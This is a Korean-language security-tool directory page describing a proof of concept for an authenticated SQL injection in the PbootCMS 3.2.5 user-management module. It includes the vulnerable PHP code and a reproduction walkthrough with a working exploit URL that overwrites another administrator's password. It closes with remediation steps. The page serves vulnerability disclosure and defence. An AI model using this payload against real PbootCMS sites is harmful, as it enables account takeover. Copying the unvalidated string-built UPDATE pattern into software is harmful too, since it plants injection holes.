Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-79387-PbootCMS-SQL-Injection — CVE-2026-79387에 대한 개념 증명(PoC)으로, PbootCMS 사용자 관리에서 발생하는 인증된 SQL 인젝션으로 임의 필드 업데이트 및 계정 탈취가 가능합니다. | Kitploit
도구/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

CVE-2026-79387에 대한 개념 증명(PoC)으로, PbootCMS 사용자 관리에서 발생하는 인증된 SQL 인젝션으로 임의 필드 업데이트 및 계정 탈취가 가능합니다.

저장소 보기
471개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-79387: PbootCMS V3.2.5 사용자 관리 모듈의 SQL 인젝션

개요

필드세부 정보
CVE IDCVE-2026-79387
제품PbootCMS
영향받는 버전3.2.0 – 3.2.5, 이전 버전일 가능성 있음
취약점 유형SQL 인젝션 (CWE-89)
공격 벡터원격 (인증됨)
CVSS 심각도높음
발견자JiahaoLi
공급업체https://www.pbootcms.com/

취약점 설명

PbootCMS V3.2.5의 사용자 관리 모듈에 SQL 인젝션 취약점이 존재합니다. 이 취약점은 /apps/admin/controller/system/UserController.php의 mod() 메서드(149번째 줄)와 /apps/admin/model/system/UserModel.php의 modUser() 메서드에 있습니다.

field 매개변수는 화이트리스트 검증 없이 GET 요청을 통해 완전히 사용자가 제어할 수 있습니다. value 매개변수 역시 사용자가 제어할 수 있으며 SQL UPDATE 문에 직접 연결됩니다. 인증된 공격자는 field로 임의의 데이터베이스 컬럼(예: password, username, status, role)을 지정할 수 있어 임의의 데이터 조작이 가능합니다.

근본 원인

// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field와 $value는 $_GET 슈퍼글로벌에서 직접 가져와 새니타이징, 화이트리스트, 매개변수화된 쿼리 없이 SQL 문자열에 연결됩니다. 이 문자열은 이후 UserModel::modUser()에 전달되며, 이 메서드는 이를 기본 Model::update() 메서드로 넘깁니다. 인수가 문자열(배열이 아님)이기 때문에 checkKey() 필드명 검증을 우회하고 SET 절에 그대로 삽입됩니다:

UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'

호출 체인

GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

영향

인증된 공격자는 다음을 수행할 수 있습니다:

  1. 모든 사용자의 비밀번호 변경 — 내장된 창립자(ucode=10001)를 제외한 슈퍼 관리자를 포함합니다.
  2. 계정 상태 변경 — 임의의 계정을 활성화하거나 비활성화합니다.
  3. 더 깊은 SQL 주입 — value 매개변수는 작은따옴표 이스케이프를 허용하여 스택 기반 또는 동어반복 기반 공격을 가능하게 할 수 있습니다.

이는 계정 탈취 및 CMS 백엔드의 완전한 제어로 이어집니다.

재현 단계

사전 요구 사항

  • PbootCMS V3.2.5가 로컬에 설치됨 (192.168.1.104, Apache/PHP 7.2.1/SQLite에서 테스트됨)
  • 유효한 백엔드 관리자 계정

1단계: 관리자 패널 로그인

PbootCMS 관리자 대시보드에 접속하여 기본 admin 계정으로 로그인합니다.

Admin Dashboard

2단계: 대상 사용자 생성

시스템 관리 → 사용자 관리 → 사용자 추가로 이동합니다. 새 사용자를 생성합니다:

  • 사용자 이름: admin2
  • 비밀번호: admin
  • 역할: 시스템 관리자

Create User

3단계: 사용자 존재 확인

사용자 목록에서 admin2가 ucode=10002로 확인됩니다:

User List

4단계: 초기 비밀번호 확인

새 브라우저 창을 엽니다. admin2로 비밀번호 123456을 사용하여 로그인을 시도합니다 — 실제 비밀번호는 admin이므로 이는 실패합니다:

Login Failed

5단계: 페이로드 작성 및 실행

이미 로그인된 관리자 브라우저를 사용하여 다음으로 이동합니다:

http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291은 123456의 MD5 해시입니다.

mod() 메서드는 인젝션을 실행하고 location(-1)을 통해 리다이렉트합니다:

Payload Executed - Not Found

Step 6: 비밀번호 변경 확인

이제 admin2 / 123456으로 로그인을 시도합니다:

Login Success

SQL 인젝션을 통해 비밀번호가 성공적으로 변경되었습니다. 사용자는 이제 새 비밀번호로 로그인되어 있으며, 이는 완전한 계정 탈취를 확인시켜 줍니다.

소스 코드 분석

취약한 코드 (UserController.php, ~149행)

Source Code

데이터베이스 계층 (Model.php - update 메서드)

update()가 문자열 인자를 받으면, 이는 이스케이프 없이 SET 절에 그대로 사용됩니다:

final public function update($data = null)
{
    if (is_array($data)) {
        // Array path: checkKey() validates field names
        ...
    } else {
        // String path: NO VALIDATION AT ALL
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Direct execution, no prepared statement
}

해결 방안

  1. field 매개변수에 대한 화이트리스트 검증 — 알려진 컬럼 이름(status, username, realname, password)만 허용합니다.
  2. 매개변수화된 쿼리 — 문자열 연결 대신 준비된 문(prepared statement)을 사용합니다.
  3. 사용자 입력 이스케이프 — 최소한 $value를 정제하여 따옴표 탈출(quote-breakout)을 방지합니다.
  4. 비밀번호 해싱 강제 — field가 password인 경우 저장 전에 값에 encrypt_string()을 적용합니다.
  5. 독립 수정 경로 제한 — mod()의 "단일 필드 수정" 분기는 유효한 CSRF 토큰과 역할 수준의 권한 부여 검사를 요구해야 합니다.

참고 자료

  • PbootCMS 공식 웹사이트
  • Gitee의 PbootCMS 소스
  • CVE-2026-79387

공개 안내: 이 취약점은 벤더에게 책임 있게 공개되었습니다. 영향을 받는 버전을 실행 중이라면 즉시 업데이트하고 모든 백엔드 계정을 감사하십시오.

도구 다운로드